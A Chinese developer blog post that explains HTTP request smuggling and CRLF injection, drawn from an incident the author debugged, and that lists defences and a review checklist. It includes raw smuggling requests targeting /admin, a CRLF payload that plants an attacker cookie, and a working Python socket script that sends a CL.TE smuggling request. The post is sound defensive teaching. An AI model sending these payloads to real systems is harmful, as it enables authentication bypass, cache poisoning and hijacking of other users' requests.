一个让我加了两天班的“小问题”
上个月排查一个线上问题,前端网关日志显示请求正常,后端服务却返回了不该返回的数据。查了两天,最后发现是一个被中间代理“吞掉”的请求边界问题——说白了,就是请求走私的变种。 这件事之后我把HTTP解析这块重新撸了一遍。开发天天用HTTP,但真停下来想过“一个请求到底怎么被解析”的人,不多。这篇文章就把请求走私和CRLF注入这两个东西讲清楚,能让大家能少加几个班。
一、HTTP请求的结构:别再只盯着请求行了
一个HTTP/1.1请求就三块:
<span style="background-color:#f6f8fa"><code>POST /login HTTP/1.1 ← 请求行 Host: example.com ← 头部 Content-Length: 27 Content-Type: application/x-www-form-urlencoded username=admin&password=123 ← 正文 </code></span>平时大家看请求,注意力都在请求行和那几个业务头部上。但真正决定安全边界的,是头部和正文之间那个空行,以及Content-Length或Transfer-Encoding这两个头部。 服务端靠它们判断“这个请求到哪结束”。不同组件如果判断不一致,麻烦就来了。
二、服务端怎么解析HTTP:CL和TE的暗战
HTTP/1.1给了两套描述请求体边界的机制。Content-Length(CL):明说正文多少字节。
<span style="background-color:#f6f8fa"><code>Content-Length: 13 Hello, World! </code></span>Transfer-Encoding: chunked(TE):分块传,每块前面标长度,0\r\n\r\n收尾。
<span style="background-color:#f6f8fa"><code>Transfer-Encoding: chunked d\r\n Hello, World!\r\n 0\r\n \r\n </code></span>RFC 9112写得很清楚:两个同时出现,TE优先,CL必须被忽略。但现实是,不是每个代理、每个网关、每个后端框架都严格照做。 我排查那次问题,就是前端认CL、后端认TE,两边各读各的,中间夹带的请求就这么溜进去了。
三、请求走私原理:前后端各说各话
请求走私(HTTP Request Smuggling)的本质一句话:前端和后端对同一个请求的边界判断不一致,攻击者把“隐藏请求”夹带进去,让后端把它当成下一个请求。 两种经典模式:CL.TE:前端认CL,后端认TE。
<span style="background-color:#f6f8fa"><code>POST / HTTP/1.1 Host: target.com Content-Length: 44 Transfer-Encoding: chunked 0 GET /admin HTTP/1.1 X-Ignore: x </code></span>前端按CL读完44字节放行,后端看到TE,在0\r\n\r\n处认为请求结束。后面的GET /admin被后端当成下一个请求。连接一复用,这个走私的GET就会拼到下一个正常用户请求前面,绕过前端鉴权、污染缓存、劫持请求,都可能。TE.CL:反过来,前端认TE,后端认CL。攻击者构造一个前端认为没结束、后端认为已结束的请求,同样达到夹带目的。 OWASP的测试指南还提了一个场景:HTTP/2降级到HTTP/1.1时,要从二进制帧重构请求,边界判断不一致的风险会进一步放大。这个坑我在做网关升级时踩过,值得留意。
四、CRLF注入:一个换行符能改响应
CRLF是回车(\r,%0d)加换行(\n,%0a)。在HTTP里,CRLF就是头部行的分隔符。如果应用把用户输入直接拼进响应头,攻击者就能用CRLF提前结束当前头部,插自己的头部,甚至塞第二个响应。 典型场景是重定向参数:
<span style="background-color:#f6f8fa"><code>GET /redirect?url=https://example.com%0d%0aSet-Cookie:session=attacker </code></span>服务端不过滤的话,响应头会变成:
<span style="background-color:#f6f8fa"><code>HTTP/1.1 302 Found Location: https://example.com Set-Cookie: session=attacker </code></span>任意Cookie就这么种上了。再狠一点,注入Content-Length: 0\r\n\r\nHTTP/1.1 200 OK\r\n...,构造HTTP响应分裂,让缓存服务器把一个响应当两个缓存,实现缓存投毒或XSS。 CRLF注入和请求走私是近亲:一个利用对请求边界的分歧,一个利用对头部边界的信任。Twitter 2015年就因为UTF-8编码绕过CRLF过滤吃过一次亏,漏洞赏金$3500。
五、复现:用Python socket发一个走私请求
requests库不好精确控制字节,直接上socket。
<span style="background-color:#f6f8fa"><code><span style="color:#d73a49">import</span> socket <span style="color:#d73a49">def</span> <span style="color:#6f42c1">smuggle_cl_te</span>(host, port): <span style="color:#6a737d"># CL.TE 走私 payload</span> body = <span style="color:#032f62">"0\r\n\r\nGET /admin HTTP/1.1\r\nHost: target.com\r\n\r\n"</span> request = ( <span style="color:#032f62">"POST / HTTP/1.1\r\n"</span> <span style="color:#032f62">f"Host: <span style="color:#24292e">{host}</span>\r\n"</span> <span style="color:#032f62">f"Content-Length: <span style="color:#24292e">{<span style="color:#e36209">len</span>(body)}</span>\r\n"</span> <span style="color:#032f62">"Transfer-Encoding: chunked\r\n"</span> <span style="color:#032f62">"\r\n"</span> <span style="color:#032f62">f"<span style="color:#24292e">{body}</span>"</span> ) s = socket.create_connection((host, port)) s.sendall(request.encode()) response = <span style="color:#032f62">b""</span> <span style="color:#d73a49">while</span> <span style="color:#005cc5">True</span>: chunk = s.recv(<span style="color:#005cc5">4096</span>) <span style="color:#d73a49">if</span> <span style="color:#d73a49">not</span> chunk: <span style="color:#d73a49">break</span> response += chunk s.close() <span style="color:#e36209">print</span>(response.decode(errors=<span style="color:#032f62">"ignore"</span>)) <span style="color:#6a737d"># 仅在授权测试环境中使用</span> <span style="color:#6a737d"># smuggle_cl_te("target.com", 80)</span> </code></span>注意:这段代码只在你自己的靶场或拿到明确授权的环境里跑。请求走私可能影响同一连接上的其他用户,未授权测试是违法的。
六、防御:统一解析,拒绝歧义
根源都是“解析不一致”,防御核心就一条:让链路上所有组件用同一套规则。请求走私:
- 前端后端用相同的HTTP解析库或引擎,避免CL/TE判断分歧
- 直接拒绝同时带
Content-Length和Transfer-Encoding的请求,别尝试“智能处理” - 拒绝多个
Content-Length头 - 有条件就端到端上HTTP/2,二进制帧天然没CL/TE歧义
- Nginx等代理层配严格的请求缓冲和头部规范化CRLF注入:
- 永远不要把用户输入直接拼进响应头,
Location、Set-Cookie尤其危险 - 必须用时,先移除或编码
\r和\n,注意不止字面量,%0d%0a等编码形式也要覆盖 - 用现代框架的响应头API,一般会自动转义,别手拼字符串
七、检查思路
这里是我琢磨的一个检查的单子,有漏掉的欢迎大家来补充
| 检查项 | 说明 |
|---|---|
| 代理和后端的HTTP解析器是否一致? | 不一致就是走私的温床 |
| 是否拒绝同时带CL和TE的请求? | 不要“猜”,直接拒 |
| 是否拒绝多个CL头? | 一个请求只能有一个CL |
| 用户输入是否进入了响应头? | Location、Set-Cookie、自定义头都要查 |
| 是否对CR/LF做了过滤或编码? | 包括%0d%0a、UTF-8编码绕过 |
| 是否启用了HTTP/2端到端? | 有条件就上,天然防走私 |
| 是否在CI/CD中跑了协议层安全测试? | 配置漂移是常见诱因 |
总结
那次加班的教训是:HTTP安全问题往往不在业务代码里,而在链路的“缝隙”里。请求走私和CRLF注入都不是什么高深漏洞,但一旦线上环境出现解析不一致,排查成本极高。 花半天把链路各层的HTTP解析行为对齐一遍,比出事之后花两天定位划算得多。